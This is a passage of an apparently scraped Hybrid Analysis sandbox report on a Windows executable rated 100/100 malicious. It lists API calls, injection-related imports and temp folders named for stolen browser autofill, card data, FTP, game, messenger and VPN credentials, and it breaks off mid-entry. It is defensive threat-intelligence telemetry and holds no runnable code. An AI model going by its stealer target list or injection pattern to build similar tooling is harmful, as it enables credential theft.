24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 8e:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4d7,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_90% Sample 46daf94d7a9c… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 46daf94d7a9c…. Malware family: Win/malicious_confidence_90%. Threat score 100/100. 6/25 AV engines flagged this file. 23 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/46daf94d7a9c2eafa685ff553c11a89b3af75671cbbebbe61bfaca9be6adc815","keywords":["Malicious","Win/malicious_confidence_90%","malware analysis","sandbox report","threat intelligence","46daf94d7a9c2eafa685ff553c11a89b3af75671cbbebbe61bfaca9be6adc815"],"about":{"@type":"SoftwareApplication","name":"dcb10b49c7d8d03b15484c3ca04e7086.exe","applicationCategory":["peexe","executable"],"identifier":"46daf94d7a9c2eafa685ff553c11a89b3af75671cbbebbe61bfaca9be6adc815","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_90%","antivirusDetections":{"malicious":6,"total":25},"behavioralIndicators":{"malicious":23,"suspicious":22},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T4fa,"dcb10b49c7d8d03b15484c3ca04e7086.exe" called "FindResourceA" with parameter "1767680" - (UID: 00000000-00005184) "dcb10b49c7d8d03b15484c3ca04e7086.exe" called "FindResourceA" with parameter "16323272" - (UID: 00000000-00005184) "dcb10b49c7d8d03b15484c3ca04e7086.exe" called "FindResourceA" with parameter "16323280" - (UID: 00000000-00005184) "dcb10b49c7d8d03b15484c3ca04e7086.exe" called "FindResourceA" with parameter "16323308" - (UID: 00000000-00005184) "tv5xp30.exe" called "FindResourceA" with parameter "1112360" - (UID: 00000000-00005220) "tv5xp30.exe" called "FindResourceA" with parameter "8786632" - (UID: 00000000-00005220) "tv5xp30.exe" called "FindResourceA" with parameter "8786640" - (UID: 00000000-00005220) "tv5xp30.exe" called "FindResourceA" with parameter "8786668" - (UID: 00000000-00005220) "tv5xp30.exe" called "FindResourceA" with parameter "8786680" - (UID: 00000000-00005220) "AD1Sg20.exe" called "FindResourceA" with parameter "17634124" - (UID: 00000000-00005176) "AD1Sg20.exe" called "FindResourceA" with parameter "2030256" - (UID: 00000000-00005176) "AD1Sg20.exe" called "FindResourceA" with parameter "17633992" - (UID: 00000000-00005176) "AD1Sg20.exe" called "FindResourceA" with parameter "17634000" - (UID: 00000000-00005176)26:Ta1b,"dcb10b49c7d8d03b15484c3ca04e7086.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '16369744'}" (UID: 00000000-00005184) "dcb10b49c7d8d03b15484c3ca04e7086.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '16369776'}" (UID: 00000000-00005184) "dcb10b49c7d8d03b15484c3ca04e7086.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '16369760'}" (UID: 00000000-00005184) "tv5xp30.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8833104'}" (UID: 00000000-00005220) "tv5xp30.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8833136'}" (UID: 00000000-00005220) "tv5xp30.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8833120'}" (UID: 00000000-00005220) "tv5xp30.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8833088'}" (UID: 00000000-00005220) "AD1Sg20.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17680352'}" (UID: 00000000-00005176) "AD1Sg20.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17680464'}" (UID: 00000000-00005176) "AD1Sg20.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17680496'}" (UID: 00000000-00005176) "AD1Sg20.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17680480'}" (UID: 00000000-00005176) "AD1Sg20.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17680448'}" (UID: 00000000-00005176) "AD1Sg20.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17680400'}" (UID: 00000000-00005176) "2kJ9830.exe" called "LoadResource with parameter {'hModule': '2097152', 'hResInfo': '2966824'}" (UID: 00000000-00005160) "2kJ9830.exe" called "LoadResource with parameter {'hModule': '2097152', 'hResInfo': '2966840'}" (UID: 00000000-00005160) "2kJ9830.exe" called "LoadResource with parameter {'hModule': '2097152', 'hResInfo': '2966664'}" (UID: 00000000-00005160) "2kJ9830.exe" called "LoadResource with parameter {'hModule': '2097152', 'hResInfo': '2966872'}" (UID: 00000000-00005160) "2kJ9830.exe" called "LoadResource with parameter {'hModule': '2097152', 'hResInfo': '2966520'}" (UID: 00000000-00005160) "2kJ9830.exe" called "LoadResource with parameter {'hModule': '2097152', 'hResInfo': '2966856'}" (UID: 00000000-00005160) "2kJ9830.exe" called "LoadResource with parameter {'hModule': '2097152', 'hResInfo': '2966536'}" (UID: 00000000-00005160) "2kJ9830.exe" called "LoadResource with parameter {'hModule': '2097152', 'hResInfo': '2966680'}" (UID: 00000000-00005160)27:Tbce,"AD1Sg20.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP\ (UID: 00000000-00005176) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\CC (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Autofill (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Downloads (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\GoogleAccounts (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\FTP\FileZilla (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\FTP\TotalCommander (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\FTP (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Games\Growtopia (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Games\Minecraft (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Games\TLauncher (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Games\FeatherClient (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Games\LunarClient (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Games\Battle.net (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Games\Steam (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Games (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Messengers\Skype (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Messengers\Element (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Messengers\ICQ (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Messengers\Signal (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Messengers\Tox (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Messengers\Pidgin (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Messengers (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\VPN\OpenVPN Connect (UID: 00000000-00005528) "5Jy6wg6.exe" called "RemoveDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\VPN (UID: 00000000-00005528)28:T4af,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")29:Ta46,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")2a:T8447,Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2FUsCEHe9DWzbNvka6iEPxPBY0w0" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Sat, 30 Dec 2023 13:03:01 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Modified" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Sat, 30 Dec 2023 13:03:01 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2023" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Sat, 30 Dec 2023 13:03:01 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Sat, 30 Dec 2023 13:03:01 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Sat, 30 Dec 2023 13:03:01 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "/gtsr1/gtsr1" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "Keep" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "User" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "goog" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBZwXm7t3kKEEFjsmHQeLcQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBZwXm7t3kKEEFjsmHQeLcQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBZwXm7t3kKEEFjsmHQeLcQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBZwXm7t3kKEEFjsmHQeLcQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGpYRvzN3kAuEMlMWsqSFLc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGpYRvzN3kAuEMlMWsqSFLc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGpYRvzN3kAuEMlMWsqSFLc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGpYRvzN3kAuEMlMWsqSFLc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEA1uFYrLabZxEtE2U5X5DGM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEA1uFYrLabZxEtE2U5X5DGM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEA1uFYrLabZxEtE2U5X5DGM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEA1uFYrLabZxEtE2U5X5DGM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2Bsl" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAdS7ewt%2F%2FetmSOTnuOLgSw%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAdS7ewt%2F%2FetmSOTnuOLgSw%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET 